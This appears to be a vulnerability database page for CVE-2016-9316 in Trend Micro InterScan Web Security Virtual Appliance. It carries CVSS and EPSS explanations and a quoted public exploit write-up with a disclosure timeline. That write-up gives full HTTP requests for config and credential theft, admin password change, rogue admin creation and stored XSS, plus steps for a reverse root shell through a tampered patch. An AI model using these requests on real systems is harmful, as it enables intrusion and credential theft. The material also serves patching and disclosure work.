CVE-2016-9316 : Detail

CVE-2016-9316

5.4
/
Medium
Cross-site Scripting
A03-Injection
0.09%V3
Network
2017-02-21
06h46 +00:00
2017-07-24
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple stored Cross-Site-Scripting (XSS) vulnerabilities in com.trend.iwss.gui.servlet.updateaccountadministration in Trend Micro InterScan Web Security Virtual Appliance (IWSVA) version 6.5-SP2_Build_Linux_1707 and earlier allow authenticated, remote users with least privileges to inject arbitrary HTML/JavaScript code into web pages. This was resolved in Version 6.5 CP 1737.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.4 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 3.5 AV:N/AC:M/Au:S/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41361

Publication date : 2016-11-27 23h00 +00:00
Author : SlidingWindow
EDB Verified : Yes

# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities] # Date: [28/11/2016] # Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot # Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/] # Version: [Tested on IWSVA version 6.5-SP2_Build_Linux_1707 and prior versions in 6.5.x series. Older versions may also be affected] # Tested on: [IWSVA version 6.5-SP2_Build_Linux_1707] # CVE : [CVE-2016-9269, CVE-2016-9314, CVE-2016-9315, CVE-2016-9316] # Vendor Security Bulletin: https://success.trendmicro.com/solution/1116672 ================== #Product:- ================== Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection. ================== #Vulnerabilities:- ================== Remote Command Execution, Sensitive Information Disclosure, Privilege Escalation and Stored Cross-Site-Scripting (XSS) ======================== #Vulnerability Details:- ======================== #1. Remote Command Execution Vulnerability (CVE-2016-9269):- The Trend Micro IWSVA can be managed through a web based management console which runs on port#1812. A least privileged user who could just run reports, can run commands on the server as root and gain a root shell. Proof of Concept:- a. Download the patch from here. b. Edit the 'startgate_patch_apply.sh' and add your Kali machine ip to get reverse shell. c. Calculate the MD5 hash of 'stargate_patch.tgz' md5sum stargate_patch.tgz d. Update the 'MD5SUM.txt' with new hash. e. Listen on port#443 on you Kali machine. f. Upload the patch to the target server: http://target_server:1812/servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload g. You should have a root shell now. #2. Sensitive Information Disclosure Vulnerability (CVE-2016-9314):- The web management console allows administrators to backup and download current configuration of the appliance to their local machine. A low privileged user can abuse the ‘ConfigBackup’ functionality to backup system configuration and download it on his local machine. This backup file contains sensitive information like passwd/shadow files, RSA certificates, Private Keys and Default Passphrase etc. Exploitation:- A. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=export HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=save&uploadfile=&beFullyOrPartially=0 B. Send this POST request to download the backup file from server: POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=2&ImEx_success=1&pkg_name=%2Fvar%2Fiwss%2Fmigration%2Fexport%2FIWSVA6.5-SP2_Config.tar%0D%0A&backup_return= #3. Privilege Escalation Vulnerability (CVE-2016-9315):- A. Change Master Admin's password: i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=review&allaccount=admin&allaccount=hacker2&allaccount=hacker4&allaccount=hacker&allaccount=test&accountname=admin&commonname=admin&accounttype=0&password_changed=true&PASS1=abc123&PASS2=abc123&description=Master+Administrator&role_select=0&roleid=0 B. Add a new administrator account 'hacker' i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser&role_select=1&roleid=1 #4. Stored Cross-Site-Scripting Vulnerability (CVE-2016-9316):- i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 292 CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker4"><script>alert(111)</script>&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser4"><script>alert(111)</script>&role_select=1&roleid=1 ii. The script executes when admin visits the ‘Login Accounts’ page. #Vulnerability Disclosure Timeline: 28/10/2016: First email to disclose the vulnerability to the Trend Micro incident response team 10/11/2016: Second email to ask for acknowledgment 15/11/2016 Acknowledgment from the Trend Micro incident response team for the email reception and saying the vulnerability is under investigation 15/11/2016: CVE Mitre assigned CVE-2016-9269, CVE-2016-9314, CVE-2016-9315 and CVE-2016-9316 for these vulnerabilities. 24/11/2016: Trend Micro incident response team provided a patch for testing. 25/11/2016: Acknowlegdement sent to Trend Micro confirming the fix. 01/12/2016: Third email to ask for remediation status 02/12/2016: Trend Micro incident response team responded stating that the fix will be released by the end of December 2016. 21/12/2016: Fourth email to ask for remediation status 21/12/2016: Trend Micro released the patch for English version. 21/12/2016: Trend Micro incident response team responded stating that the patch for Japanese version will be released in February 2017. 14/02/2017: Trend Micro releases Security Advisory. Link: https://success.trendmicro.com/solution/1116672

Products Mentioned

Configuraton 0

Trendmicro>>Interscan_web_security_virtual_appliance >> Version To (including) 6.5

References

http://www.securityfocus.com/bid/96252
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037849
Tags : vdb-entry, x_refsource_SECTRACK